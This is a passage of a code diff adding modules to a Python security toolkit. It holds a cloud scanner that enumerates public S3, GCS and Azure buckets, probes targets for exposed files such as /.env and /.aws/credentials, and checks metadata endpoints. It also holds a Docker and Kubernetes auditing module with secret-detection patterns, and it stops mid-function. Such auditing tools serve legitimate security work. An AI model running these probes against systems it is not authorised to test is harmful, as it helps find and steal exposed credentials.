bucket_names.add(f'{keyword}-{common}') + bucket_names.add(f'{common}-{keyword}') + + self._jobs[job_id]['total'] = len(bucket_names) + found = [] + + for name in bucket_names: + try: + # Check S3 bucket + url = f'https://{name}.s3.amazonaws.com' + resp = requests.head(url, timeout=5, allow_redirects=True) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code == 200: + # Try listing + list_resp = requests.get(url, timeout=5) + listable = ' str: + """Enumerate Google Cloud Storage buckets. Returns job_id.""" + if not HAS_REQUESTS: + return '' + + job_id = f'gcsenum_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'gcs_enum', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _enum(): + names = set() + for suffix in ['', '-data', '-backup', '-assets', '-staging', '-prod', '-dev', '-logs']: + names.add(f'{keyword}{suffix}') + + self._jobs[job_id]['total'] = len(names) + found = [] + + for name in names: + try: + url = f'https://storage.googleapis.com/{name}' + resp = requests.head(url, timeout=5) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code in (200, 403): + found.append({ + 'bucket': name, 'provider': 'gcp', + 'url': url, 'status': resp.status_code, + 'public': resp.status_code == 200 + }) + except Exception: + self._jobs[job_id]['checked'] += 1 + + self._jobs[job_id]['found'] = found + self._jobs[job_id]['status'] = 'complete' + + threading.Thread(target=_enum, daemon=True).start() + return job_id + + # ── Azure Blob Enumeration ─────────────────────────────────────────── + + def enum_azure_blobs(self, keyword: str) -> str: + """Enumerate Azure Blob Storage containers. Returns job_id.""" + if not HAS_REQUESTS: + return '' + + job_id = f'azureenum_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'azure_enum', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _enum(): + # Storage account names + accounts = [keyword, f'{keyword}storage', f'{keyword}data', + f'{keyword}backup', f'{keyword}dev', f'{keyword}prod'] + containers = ['$web', 'data', 'backup', 'uploads', 'assets', + 'logs', 'public', 'media', 'images'] + + total = len(accounts) * len(containers) + self._jobs[job_id]['total'] = total + found = [] + + for account in accounts: + for container in containers: + try: + url = f'https://{account}.blob.core.windows.net/{container}?restype=container&comp=list' + resp = requests.get(url, timeout=5) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code == 200: + found.append({ + 'account': account, 'container': container, + 'provider': 'azure', 'url': url, + 'status': resp.status_code, 'public': True + }) + elif resp.status_code == 403: + found.append({ + 'account': account, 'container': container, + 'provider': 'azure', 'url': url, + 'status': 403, 'exists': True, 'public': False + }) + except Exception: + self._jobs[job_id]['checked'] += 1 + + self._jobs[job_id]['found'] = found + self._jobs[job_id]['status'] = 'complete' + + threading.Thread(target=_enum, daemon=True).start() + return job_id + + # ── Exposed Services ───────────────────────────────────────────────── + + def scan_exposed_services(self, target: str) -> Dict: + """Check for commonly exposed cloud services on a target.""" + if not HAS_REQUESTS: + return {'ok': False, 'error': 'requests not available'} + + services = [] + checks = [ + ('/server-status', 'Apache Status'), + ('/nginx_status', 'Nginx Status'), + ('/.env', 'Environment File'), + ('/.git/config', 'Git Config'), + ('/.aws/credentials', 'AWS Credentials'), + ('/wp-config.php.bak', 'WordPress Config Backup'), + ('/phpinfo.php', 'PHP Info'), + ('/debug', 'Debug Endpoint'), + ('/actuator', 'Spring Actuator'), + ('/actuator/env', 'Spring Env'), + ('/api/swagger.json', 'Swagger/OpenAPI Spec'), + ('/.well-known/security.txt', 'Security Policy'), + ('/robots.txt', 'Robots.txt'), + ('/sitemap.xml', 'Sitemap'), + ('/graphql', 'GraphQL Endpoint'), + ('/console', 'Console'), + ('/admin', 'Admin Panel'), + ('/wp-admin', 'WordPress Admin'), + ('/phpmyadmin', 'phpMyAdmin'), + ] + + for path, name in checks: + try: + url = f'{target.rstrip("/")}{path}' + resp = requests.get(url, timeout=5, allow_redirects=False) + if resp.status_code == 200: + # Check content for sensitive data + sensitive = False + body = resp.text[:2000].lower() + sensitive_indicators = [ + 'password', 'secret', 'access_key', 'private_key', + 'database', 'db_host', 'smtp_pass', 'api_key' + ] + if any(ind in body for ind in sensitive_indicators): + sensitive = True + + services.append({ + 'path': path, 'name': name, + 'url': url, 'status': resp.status_code, + 'size': len(resp.content), + 'sensitive': sensitive, + 'content_type': resp.headers.get('content-type', '') + }) + except Exception: + pass + + return { + 'ok': True, + 'target': target, + 'services': services, + 'count': len(services) + } + + # ── Metadata SSRF Check ────────────────────────────────────────────── + + def check_metadata_access(self) -> Dict: + """Check if cloud metadata service is accessible (SSRF indicator).""" + results = {} + for provider, url in METADATA_ENDPOINTS.items(): + try: + headers = {} + if provider == 'gcp': + headers['Metadata-Flavor'] = 'Google' + + resp = requests.get(url, headers=headers, timeout=3) + results[provider] = { + 'accessible': resp.status_code == 200, + 'status': resp.status_code, + 'content_preview': resp.text[:200] if resp.status_code == 200 else '' + } + except Exception: + results[provider] = {'accessible': False, 'error': 'Connection failed'} + + return {'ok': True, 'metadata': results} + + # ── Subdomain / DNS Enumeration for Cloud ──────────────────────────── + + def enum_cloud_subdomains(self, domain: str) -> Dict: + """Check for cloud-specific subdomains.""" + if not HAS_REQUESTS: + return {'ok': False, 'error': 'requests not available'} + + cloud_prefixes = [ + 'aws', 's3', 'ec2', 'lambda', 'api', 'cdn', + 'azure', 'blob', 'cloud', 'gcp', 'storage', + 'dev', 'staging', 'prod', 'admin', 'internal', + 'vpn', 'mail', 'smtp', 'imap', 'ftp', 'ssh', + 'db', 'database', 'redis', 'elastic', 'kibana', + 'grafana', 'prometheus', 'jenkins', 'gitlab', 'docker', + 'k8s', 'kubernetes', 'consul', 'vault', 'traefik', + ] + + found = [] + import socket + for prefix in cloud_prefixes: + subdomain = f'{prefix}.{domain}' + try: + ip = socket.gethostbyname(subdomain) + found.append({ + 'subdomain': subdomain, + 'ip': ip, + 'cloud_hint': self._identify_cloud_ip(ip) + }) + except socket.gaierror: + pass + + return {'ok': True, 'domain': domain, 'subdomains': found, 'count': len(found)} + + def _identify_cloud_ip(self, ip: str) -> str: + """Try to identify cloud provider from IP.""" + # Rough range checks + octets = ip.split('.') + if len(octets) == 4: + first = int(octets[0]) + if first in (3, 18, 52, 54, 35): + return 'AWS' + elif first in (20, 40, 52, 104, 13): + return 'Azure' + elif first in (34, 35, 104, 142): + return 'GCP' + return 'Unknown' + + # ── Job Management ─────────────────────────────────────────────────── + + def get_job(self, job_id: str) -> Optional[Dict]: + return self._jobs.get(job_id) + + def list_jobs(self) -> List[Dict]: + return [{'id': k, **v} for k, v in self._jobs.items()] + + # ── Save Results ───────────────────────────────────────────────────── + + def save_results(self, name: str, results: Dict) -> Dict: + """Save scan results.""" + filepath = os.path.join(self.data_dir, f'{name}.json') + with open(filepath, 'w') as f: + json.dump(results, f, indent=2) + return {'ok': True, 'path': filepath} + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_cloud_scanner() -> CloudScanner: + global _instance + if _instance is None: + _instance = CloudScanner() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Cloud Security module.""" + if not HAS_REQUESTS: + print(" Error: requests library required") + return + + scanner = get_cloud_scanner() + + while True: + print(f"\n{'='*60}") + print(f" Cloud Security Scanner") + print(f"{'='*60}") + print() + print(" 1 — Enumerate S3 Buckets (AWS)") + print(" 2 — Enumerate GCS Buckets (Google)") + print(" 3 — Enumerate Azure Blobs") + print(" 4 — Scan Exposed Services") + print(" 5 — Check Metadata Access (SSRF)") + print(" 6 — Cloud Subdomain Enum") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + kw = input(" Target keyword: ").strip() + if kw: + job_id = scanner.enum_s3_buckets(kw) + print(f" Scanning... (job: {job_id})") + while True: + job = scanner.get_job(job_id) + if job['status'] == 'complete': + for b in job['found']: + status = 'PUBLIC+LISTABLE' if b.get('listable') else \ + ('PUBLIC' if b.get('public') else 'EXISTS') + print(f" [{status}] {b['bucket']}") + if not job['found']: + print(" No buckets found") + break + time.sleep(1) + elif choice == '4': + target = input(" Target URL: ").strip() + if target: + result = scanner.scan_exposed_services(target) + for s in result['services']: + flag = ' [SENSITIVE]' if s.get('sensitive') else '' + print(f" {s['path']}: {s['name']}{flag}") + elif choice == '5': + result = scanner.check_metadata_access() + for provider, info in result['metadata'].items(): + status = 'ACCESSIBLE' if info.get('accessible') else 'blocked' + print(f" {provider}: {status}") + elif choice == '6': + domain = input(" Target domain: ").strip() + if domain: + result = scanner.enum_cloud_subdomains(domain) + for s in result['subdomains']: + print(f" {s['subdomain']} → {s['ip']} ({s['cloud_hint']})") diff --git a/modules/container_sec.py b/modules/container_sec.py new file mode 100644 index 0000000..70203a3 --- /dev/null +++ b/modules/container_sec.py @@ -0,0 +1,1482 @@ +"""AUTARCH Container Security + +Docker auditing, Kubernetes assessment, container image scanning, +escape detection, Dockerfile linting, and runtime monitoring. +""" + +DESCRIPTION = "Container security — Docker & Kubernetes auditing" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +import os +import re +import sys +import json +import subprocess +import platform +import time +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir, find_tool +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + import shutil + + def find_tool(name): + return shutil.which(name) + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = '' + + def clear_screen(): + pass + + def display_banner(): + pass + + +# ── Dangerous Docker capabilities ─────────────────────────────────────────── + +DANGEROUS_CAPS = [ + 'SYS_ADMIN', 'NET_ADMIN', 'SYS_PTRACE', 'SYS_RAWIO', + 'DAC_OVERRIDE', 'FOWNER', 'NET_RAW', 'MKNOD', 'SYS_CHROOT', + 'AUDIT_WRITE', 'SETFCAP', 'MAC_OVERRIDE', 'MAC_ADMIN', + 'SYSLOG', 'DAC_READ_SEARCH', 'LINUX_IMMUTABLE', 'SYS_BOOT', + 'SYS_MODULE', 'SYS_TIME', 'KILL', +] + +SENSITIVE_MOUNTS = [ + '/var/run/docker.sock', '/run/docker.sock', + '/proc', '/sys', '/dev', '/etc/shadow', '/etc/passwd', + '/root', '/home', '/var/log', +] + +DEFAULT_SECCOMP_PROFILE = 'runtime/default' + +# ── Dockerfile Lint Rules ─────────────────────────────────────────────────── + +DOCKERFILE_RULES = { + 'DL001': {'severity': 'high', 'title': 'FROM uses :latest tag', + 'desc': 'Pin image versions for reproducible builds.'}, + 'DL002': {'severity': 'high', 'title': 'No USER directive', + 'desc': 'Container runs as root by default. Add a USER directive.'}, + 'DL003': {'severity': 'medium', 'title': 'ADD used instead of COPY', + 'desc': 'Use COPY for local files. ADD auto-extracts and supports URLs.'}, + 'DL004': {'severity': 'high', 'title': 'Secrets in ENV/ARG', + 'desc': 'Avoid passing secrets via ENV or ARG. Use build secrets.'}, + 'DL005': {'severity': 'low', 'title': 'Missing HEALTHCHECK', + 'desc': 'Add HEALTHCHECK for container orchestration readiness.'}, + 'DL006': {'severity': 'medium', 'title': 'apt-get without --no-install-recommends', + 'desc': 'Use --no-install-recommends to reduce image size.'}, + 'DL007': {'severity': 'low', 'title': 'Missing cache cleanup', + 'desc': 'Run apt-get clean / rm -rf /var/lib/apt/lists/* after install.'}, + 'DL008': {'severity': 'medium', 'title': 'EXPOSE all interfaces', + 'desc': 'Avoid EXPOSE with 0.0.0.0; bind to specific interfaces.'}, + 'DL009': {'severity': 'high', 'title': 'COPY / ADD of sensitive files', + 'desc': 'Avoid copying .env, credentials, or private keys into image.'}, + 'DL010': {'severity': 'medium', 'title': 'Using sudo in RUN', + 'desc': 'Avoid sudo in Dockerfiles. Use USER directive instead.'}, + 'DL011': {'severity': 'low', 'title': 'Multiple consecutive RUN commands', + 'desc': 'Chain RUN commands with && to reduce layers.'}, +} + +SECRET_PATTERNS = re.compile( + r'(password|secret|token|api_key|apikey|access_key|private_key|' + r'aws_secret|db_pass|database_url|auth_token)', + re.IGNORECASE +) + +SENSITIVE_FILE_PATTERNS = re.compile( + r'\.(pem|key|p12|pfx|env|credentials|htpasswd|pgpass)$', + re.IGNORECASE +) + + +# ── ContainerSecurity Class ───────────────────────────────────────────────── + +class ContainerSecurity: + """Docker and Kubernetes security auditing engine.""" + + _instance = None + + def __init__(self): + data = Path(str(get_data_dir())) / 'container_sec' + data.mkdir(parents=True, exist_ok=True) + self._data_dir = data + self._results_path = data / 'results.json' + self._results = { + 'docker_host': [], + 'container_audits': {}, + 'image_scans': {}, + 'dockerfile_lints': [], + 'k8s_audits': {}, + 'escape_checks': {}, + 'timestamp': None, + } + self._is_win = platform.system() == 'Windows' + + # ── helpers ────────────────────────────────────────────────────────────── + + def _run(self, cmd: str, timeout: int = 30) -> tuple: + """Run a shell command. Returns (success: bool, stdout: str).""" + try: + result = subprocess.run( + cmd, shell=True, capture_output=True, text=True, timeout=timeout + ) + return result.returncode == 0, result.stdout.strip() + except subprocess.TimeoutExpired: + return False, 'Command timed out' + except Exception as e: + return False, str(e) + + def _run_json(self, cmd: str, timeout: int = 30) -> tuple: + """Run command expecting JSON output. Returns (success, parsed_data).""" + ok, raw = self._run(cmd, timeout=timeout) + if not ok: + return False, raw + try: + return True, json.loads(raw) + except (json.JSONDecodeError, ValueError): + return False, raw + + def _save_results(self): + self._results['timestamp'] = datetime.utcnow().isoformat() + try: + with open(self._results_path, 'w') as f: + json.dump(self._results, f, indent=2, default=str) + except Exception: + pass + + # ── tool checks ────────────────────────────────────────────────────────── + + def check_docker_installed(self) -> dict: + """Check if Docker CLI is available.""" + docker = find_tool('docker') + if not docker: + return {'installed': False, 'path': None, 'version': None} + ok, ver = self._run(f'"{docker}" --version') + return { + 'installed': True, + 'path': docker, + 'version': ver if ok else 'unknown', + } + + def check_kubectl_installed(self) -> dict: + """Check if kubectl CLI is available.""" + kubectl = find_tool('kubectl') + if not kubectl: + return {'installed': False, 'path': None, 'version': None, 'context': None} + ok, ver = self._run(f'"{kubectl}" version --client --short 2>/dev/null || "{kubectl}" version --client') + ctx_ok, ctx = self._run(f'"{kubectl}" config current-context 2>/dev/null') + return { + 'installed': True, + 'path': kubectl, + 'version': ver if ok else 'unknown', + 'context': ctx if ctx_ok else None, + } + + # ── Docker Host Audit ──────────────────────────────────────────────────── + + def audit_docker_host(self) -> list: + """Comprehensive Docker host security audit.""" + findings = [] + docker = find_tool('docker') + if not docker: + return [{'check': 'Docker CLI', 'severity': 'critical', + 'status': 'fail', 'detail': 'Docker not found on system'}] + + # 1. Daemon configuration + daemon_cfg_path = '/etc/docker/daemon.json' + if self._is_win: + daemon_cfg_path = os.path.expandvars(r'%ProgramData%\docker\config\daemon.json') + + daemon_cfg = {} + if os.path.isfile(daemon_cfg_path): + try: + with open(daemon_cfg_path) as f: + daemon_cfg = json.load(f) + findings.append({ + 'check': 'Daemon Config', + 'severity': 'info', + 'status': 'pass', + 'detail': f'Found {daemon_cfg_path}', + }) + except Exception as e: + findings.append({ + 'check': 'Daemon Config', + 'severity': 'medium', + 'status': 'warn', + 'detail': f'Cannot parse {daemon_cfg_path}: {e}', + }) + else: + findings.append({ + 'check': 'Daemon Config', + 'severity': 'medium', + 'status': 'warn', + 'detail': f'No daemon.json found at {daemon_cfg_path}', + }) + + # 2. Docker socket permissions (Linux only) + if not self._is_win: + sock = '/var/run/docker.sock' + if os.path.exists(sock): + try: + stat = os.stat(sock) + mode = oct(stat.st_mode)[-3:] + world_rw = mode[2] in ('6', '7', '2', '3') + if world_rw: + findings.append({ + 'check': 'Docker Socket Permissions', + 'severity': 'high', + 'status': 'fail', + 'detail': f'{sock} is world-accessible (mode {mode}). Restrict to docker group.', + }) + else: + findings.append({ + 'check': 'Docker Socket Permissions', + 'severity': 'info', + 'status': 'pass', + 'detail': f'{sock} permissions: {mode}', + }) + except Exception: + findings.append({ + 'check': 'Docker Socket Permissions', + 'severity': 'low', + 'status': 'warn', + 'detail': 'Cannot stat docker socket', + }) + + # 3. TLS configuration + tls_verify = daemon_cfg.get('tls', False) or daemon_cfg.get('tlsverify', False) + if tls_verify: + findings.append({ + 'check': 'TLS Configuration', + 'severity': 'info', + 'status': 'pass', + 'detail': 'Docker daemon TLS is enabled', + }) + else: + findings.append({ + 'check': 'TLS Configuration', + 'severity': 'medium', + 'status': 'warn', + 'detail': 'Docker daemon TLS is not configured in daemon.json', + }) + + # 4. User namespace remapping + userns = daemon_cfg.get('userns-remap', '') + if userns: + findings.append({ + 'check': 'User Namespace Remapping', + 'severity': 'info', + 'status': 'pass', + 'detail': f'Remapped to: {userns}', + }) + else: + findings.append({ + 'check': 'User Namespace Remapping', + 'severity': 'medium', + 'status': 'warn', + 'detail': 'Not enabled. Containers run as host UID 0.', + }) + + # 5. Content trust + content_trust = os.environ.get('DOCKER_CONTENT_TRUST', '0') + if content_trust == '1': + findings.append({ + 'check': 'Content Trust (DCT)', + 'severity': 'info', + 'status': 'pass', + 'detail': 'DOCKER_CONTENT_TRUST=1 — signed images enforced', + }) + else: + findings.append({ + 'check': 'Content Trust (DCT)', + 'severity': 'low', + 'status': 'warn', + 'detail': 'DOCKER_CONTENT_TRUST not set. Unsigned images accepted.', + }) + + # 6. Live restore + live_restore = daemon_cfg.get('live-restore', False) + if live_restore: + findings.append({ + 'check': 'Live Restore', + 'severity': 'info', + 'status': 'pass', + 'detail': 'Containers survive daemon restarts', + }) + else: + findings.append({ + 'check': 'Live Restore', + 'severity': 'low', + 'status': 'warn', + 'detail': 'live-restore not enabled in daemon.json', + }) + + # 7. Logging driver + log_driver = daemon_cfg.get('log-driver', 'json-file') + log_opts = daemon_cfg.get('log-opts', {}) + max_size = log_opts.get('max-size', 'unlimited') + findings.append({ + 'check': 'Logging Driver', + 'severity': 'low' if log_driver == 'json-file' and max_size == 'unlimited' else 'info', + 'status': 'warn' if max_size == 'unlimited' else 'pass', + 'detail': f'Driver: {log_driver}, max-size: {max_size}', + }) + + # 8. Docker info — check swarm, runtimes + ok, info_raw = self._run(f'"{docker}" info --format "{{{{json .}}}}"') + if ok: + try: + info = json.loads(info_raw) + # Check default runtime + rt = info.get('DefaultRuntime', 'runc') + findings.append({ + 'check': 'Default Runtime', + 'severity': 'info', + 'status': 'pass' if rt in ('runc', 'crun') else 'info', + 'detail': f'Runtime: {rt}', + }) + # Swarm mode + swarm = info.get('Swarm', {}) + swarm_active = swarm.get('LocalNodeState', 'inactive') == 'active' + if swarm_active: + findings.append({ + 'check': 'Swarm Mode', + 'severity': 'info', + 'status': 'info', + 'detail': 'Swarm is active. Ensure manager auto-lock is enabled.', + }) + except (json.JSONDecodeError, ValueError): + pass + + self._results['docker_host'] = findings + self._save_results() + return findings + + # ── Container Listing / Inspection ─────────────────────────────────────── + + def list_containers(self, all: bool = True) -> list: + """List Docker containers.""" + docker = find_tool('docker') + if not docker: + return [] + + flag = '-a' if all else '' + fmt = '{{json .}}' + ok, raw = self._run(f'"{docker}" ps {flag} --format "{fmt}"') + if not ok: + return [] + + containers = [] + for line in raw.splitlines(): + line = line.strip() + if not line: + continue + try: + c = json.loads(line) + containers.append({ + 'id': c.get('ID', ''), + 'name': c.get('Names', ''), + 'image': c.get('Image', ''), + 'status': c.get('Status', ''), + 'ports': c.get('Ports', ''), + 'created': c.get('CreatedAt', ''), + 'state': c.get('State', ''), + }) + except (json.JSONDecodeError, ValueError): + continue + return containers + + def inspect_container(self, container_id: str) -> dict: + """Inspect a container and extract security-relevant config.""" + docker = find_tool('docker') + if not docker: + return {'error': 'Docker not found'} + + ok, data = self._run_json(f'"{docker}" inspect {container_id}') + if not ok or not isinstance(data, list) or len(data) == 0: + return {'error': f'Cannot inspect container {container_id}'} + + info = data[0] + host_cfg = info.get('HostConfig', {}) + cfg = info.get('Config', {}) + + # Capabilities + cap_add = host_cfg.get('CapAdd') or [] + cap_drop = host_cfg.get('CapDrop') or [] + + # Mounts + mounts = [] + for m in info.get('Mounts', []): + mounts.append({ + 'source': m.get('Source', ''), + 'destination': m.get('Destination', ''), + 'mode': m.get('Mode', ''), + 'rw': m.get('RW', True), + 'type': m.get('Type', ''), + }) + + # Security options + sec_opts = host_cfg.get('SecurityOpt') or [] + + return { + 'id': info.get('Id', '')[:12], + 'name': info.get('Name', '').lstrip('/'), + 'image': cfg.get('Image', ''), + 'privileged': host_cfg.get('Privileged', False), + 'cap_add': cap_add, + 'cap_drop': cap_drop, + 'mounts': mounts, + 'network_mode': host_cfg.get('NetworkMode', ''), + 'user': cfg.get('User', '') or 'root', + 'pid_mode': host_cfg.get('PidMode', ''), + 'ipc_mode': host_cfg.get('IpcMode', ''), + 'read_only_rootfs': host_cfg.get('ReadonlyRootfs', False), + 'security_opt': sec_opts, + 'memory_limit': host_cfg.get('Memory', 0), + 'cpu_shares': host_cfg.get('CpuShares', 0), + 'pids_limit': host_cfg.get('PidsLimit', 0), + 'restart_policy': host_cfg.get('RestartPolicy', {}).get('Name', ''), + 'env': cfg.get('Env', []), + } + + # ── Container Security Audit ───────────────────────────────────────────── + + def audit_container(self, container_id: str) -> dict: + """Full security audit of a running container.""" + info = self.inspect_container(container_id) + if 'error' in info: + return info + + findings = [] + passed = 0 + total = 0 + + def check(name, ok, detail='', severity='medium'): + nonlocal passed, total + total += 1 + if ok: + passed += 1 + findings.append({ + 'check': name, + 'status': 'pass' if ok else 'fail', + 'severity': severity if not ok else 'info', + 'detail': detail, + }) + + # 1. Privileged mode + check('Privileged Mode', + not info['privileged'], + 'Container is running in privileged mode!' if info['privileged'] + else 'Not privileged', + severity='critical') + + # 2. Dangerous capabilities + dangerous_found = [c for c in info['cap_add'] if c in DANGEROUS_CAPS] + check('Capabilities', + len(dangerous_found) == 0, + f'Dangerous capabilities added: {", ".join(dangerous_found)}' if dangerous_found + else f'No dangerous capabilities ({len(info["cap_drop"])} dropped)', + severity='high') + + # 3. Sensitive mounts + sensitive_found = [] + for m in info['mounts']: + for s in SENSITIVE_MOUNTS: + if m['destination'].startswith(s) or m['source'].startswith(s): + sensitive_found.append(f'{m["source"]} -> {m["destination"]}') + break + check('Sensitive Mounts', + len(sensitive_found) == 0, + f'Sensitive paths mounted: {"; ".join(sensitive_found)}' if sensitive_found + else 'No sensitive host paths mounted', + severity='high') + + # 4. Running as root + check('User', + info['user'] not in ('', 'root', '0'), + f'Running as: {info["user"]}' if info['user'] not in ('', 'root', '0') + else 'Running as root. Use USER directive.', + severity='medium') + + # 5. Read-only root filesystem + check('Read-only Rootfs', + info['read_only_rootfs'], + 'Root filesystem is read-only' if info['read_only_rootfs'] + else 'Root filesystem is writable. Consider --read-only.', + severity='low') + + # 6. Resource limits — memory + check('Memory Limit', + info['memory_limit'] > 0, + f'Memory limit: {info["memory_limit"] // (1024*1024)}MB' if info['memory_limit'] > 0 + else 'No memory limit set. Container can exhaust host memory.', + severity='medium') + + # 7. Resource limits — PID + pids = info['pids_limit'] + has_pids = pids is not None and pids > 0 and pids != -1 + check('PID Limit', + has_pids, + f'PID limit: {pids}' if has_pids + else 'No PID limit. Fork bomb possible.', + severity='low') + + # 8. Seccomp profile + seccomp_set = any('seccomp' in opt for opt in info['security_opt']) + no_seccomp = any('seccomp=unconfined' in opt for opt in info['security_opt']) + check('Seccomp Profile', + seccomp_set and not no_seccomp, + 'Seccomp profile disabled (unconfined)!' if no_seccomp + else ('Custom seccomp profile applied' if seccomp_set + else 'Default seccomp profile (OK for Docker default)'), + severity='high' if no_seccomp else 'low') + + # 9. AppArmor profile + apparmor_set = any('apparmor' in opt for opt in info['security_opt']) + no_apparmor = any('apparmor=unconfined' in opt for opt in info['security_opt']) + check('AppArmor Profile', + not no_apparmor, + 'AppArmor disabled (unconfined)!' if no_apparmor + else ('AppArmor profile applied' if apparmor_set + else 'No explicit AppArmor profile (using Docker default)'), + severity='medium' if no_apparmor else 'low') + + # 10. Network mode + check('Network Mode', + info['network_mode'] not in ('host',), + f'Network mode: {info["network_mode"]}', + severity='high' if info['network_mode'] == 'host' else 'info') + + # 11. PID mode + check('PID Mode', + info['pid_mode'] != 'host', + 'PID namespace shared with host!' if info['pid_mode'] == 'host' + else f'PID mode: {info["pid_mode"] or "container (isolated)"}', + severity='high') + + # 12. Secrets in environment + env_secrets = [] + for e in info.get('env', []): + key = e.split('=', 1)[0] if '=' in e else e + if SECRET_PATTERNS.search(key): + env_secrets.append(key) + check('Environment Secrets', + len(env_secrets) == 0, + f'Possible secrets in ENV: {", ".join(env_secrets)}' if env_secrets + else 'No obvious secrets in environment variables', + severity='medium') + + score = int((passed / total) * 100) if total > 0 else 0 + + result = { + 'container_id': container_id, + 'name': info.get('name', ''), + 'image': info.get('image', ''), + 'score': score, + 'passed': passed, + 'total': total, + 'findings': findings, + } + + self._results['container_audits'][container_id] = result + self._save_results() + return result + + # ── Image Operations ───────────────────────────────────────────────────── + + def list_images(self) -> list: + """List local Docker images.""" + docker = find_tool('docker') + if not docker: + return [] + + fmt = '{{json .}}' + ok, raw = self._run(f'"{docker}" images --format "{fmt}"') + if not ok: + return [] + + images = [] + for line in raw.splitlines(): + line = line.strip() + if not line: + continue + try: + img = json.loads(line) + images.append({ + 'id': img.get('ID', ''), + 'repo': img.get('Repository', ''), + 'tag': img.get('Tag', ''), + 'size': img.get('Size', ''), + 'created': img.get('CreatedAt', img.get('CreatedSince', '')), + }) + except (json.JSONDecodeError, ValueError): + continue + return images + + def scan_image(self, image_name: str) -> dict: + """Scan a container image for CVEs using trivy or grype.""" + # Try trivy first + trivy = find_tool('trivy') + if trivy: + ok, raw = self._run( + f'"{trivy}" image --format json --severity CRITICAL,HIGH,MEDIUM,LOW ' + f'--quiet "{image_name}"', + timeout=120 + ) + if ok: + return self._parse_trivy(raw, image_name) + + # Fallback to grype + grype = find_tool('grype') + if grype: + ok, raw = self._run( + f'"{grype}" "{image_name}" -o json --quiet', + timeout=120 + ) + if ok: + return self._parse_grype(raw, image_name) + + return { + 'image': image_name, + 'scanner': None, + 'error': 'No scanner available. Install trivy or grype.', + 'vulnerabilities': [], + 'summary': {}, + } + + def _parse_trivy(self, raw: str, image_name: str) -> dict: + """Parse Trivy JSON output.""" + vulns = [] + summary = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0} + try: + data = json.loads(raw) + results = data.get('Results', []) + for r in results: + for v in r.get('Vulnerabilities', []): + sev = v.get('Severity', 'UNKNOWN').upper() + entry = { + 'cve': v.get('VulnerabilityID', ''), + 'severity': sev, + 'package': v.get('PkgName', ''), + 'installed_version': v.get('InstalledVersion', ''), + 'fixed_version': v.get('FixedVersion', ''), + 'title': v.get('Title', ''), + } + vulns.append(entry) + if sev in summary: + summary[sev] += 1 + except (json.JSONDecodeError, ValueError): + return {'image': image_name, 'scanner': 'trivy', + 'error': 'Failed to parse trivy output', 'vulnerabilities': [], 'summary': {}} + + result = { + 'image': image_name, + 'scanner': 'trivy', + 'vulnerabilities': vulns, + 'summary': summary, + 'total': len(vulns), + } + self._results['image_scans'][image_name] = result + self._save_results() + return result + + def _parse_grype(self, raw: str, image_name: str) -> dict: + """Parse Grype JSON output.""" + vulns = [] + summary = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0} + try: + data = json.loads(raw) + for m in data.get('matches', []): + v = m.get('vulnerability', {}) + sev = v.get('severity', 'Unknown').upper() + pkg = m.get('artifact', {}) + fixed = '' + fix_vers = v.get('fix', {}).get('versions', []) + if fix_vers: + fixed = fix_vers[0] + entry = { + 'cve': v.get('id', ''), + 'severity': sev, + 'package': pkg.get('name', ''), + 'installed_version': pkg.get('version', ''), + 'fixed_version': fixed, + 'title': v.get('description', '')[:120], + } + vulns.append(entry) + if sev in summary: + summary[sev] += 1 + except (json.JSONDecodeError, ValueError): + return {'image': image_name, 'scanner': 'grype', + 'error': 'Failed to parse grype output', 'vulnerabilities': [], 'summary': {}} + + result = { + 'image': image_name, + 'scanner': 'grype', + 'vulnerabilities': vulns, + 'summary': summary, + 'total': len(vulns), + } + self._results['image_scans'][image_name] = result + self._save_results() + return result + + # ── Dockerfile Linting ─────────────────────────────────────────────────── + + def lint_dockerfile(self, content: str) -> list: + """Lint a Dockerfile for security issues.""" + findings = [] + lines = content.splitlines() + has_user = False + has_healthcheck = False + consecutive_run = 0 + max_consecutive_run = 0 + + for i, raw_line in enumerate(lines, 1): + line = raw_line.strip() + if not line or line.startswith('#'): + consecutive_run = 0 + continue + + upper = line.upper() + + # FROM :latest + if upper.startswith('FROM '): + img = line[5:].strip().split(' ')[0] + if ':' not in img or img.endswith(':latest'): + findings.append({ + 'rule': 'DL001', 'line': i, + 'severity': DOCKERFILE_RULES['DL001']['severity'], + 'title': DOCKERFILE_RULES['DL001']['title'], + 'detail': f'Image "{img}" — pin a specific version tag.', + }) + + # USER directive + if upper.startswith('USER '): + has_user = True + + # HEALTHCHECK + if upper.startswith('HEALTHCHECK '): + has_healthcheck = True + + # ADD vs COPY + if upper.startswith('ADD ') and not line.strip().startswith('ADD --from'): + parts = line[4:].strip() + # Skip if it's a URL (ADD has valid URL use) + if not parts.startswith('http://') and not parts.startswith('https://'): + findings.append({ + 'rule': 'DL003', 'line': i, + 'severity': DOCKERFILE_RULES['DL003']['severity'], + 'title': DOCKERFILE_RULES['DL003']['title'], + 'detail': f'Line {i}: prefer COPY over ADD for local files.', + }) + + # Secrets in ENV/ARG + if upper.startswith('ENV ') or upper.startswith('ARG '): + key = line.split()[1] if len(line.split()) > 1 else '' + key = key.split('=')[0] + if SECRET_PATTERNS.search(key): + findings.append({ + 'rule': 'DL004', 'line': i, + 'severity': DOCKERFILE_RULES['DL004']['severity'], + 'title': DOCKERFILE_RULES['DL004']['title'], + 'detail': f'Line {i}: 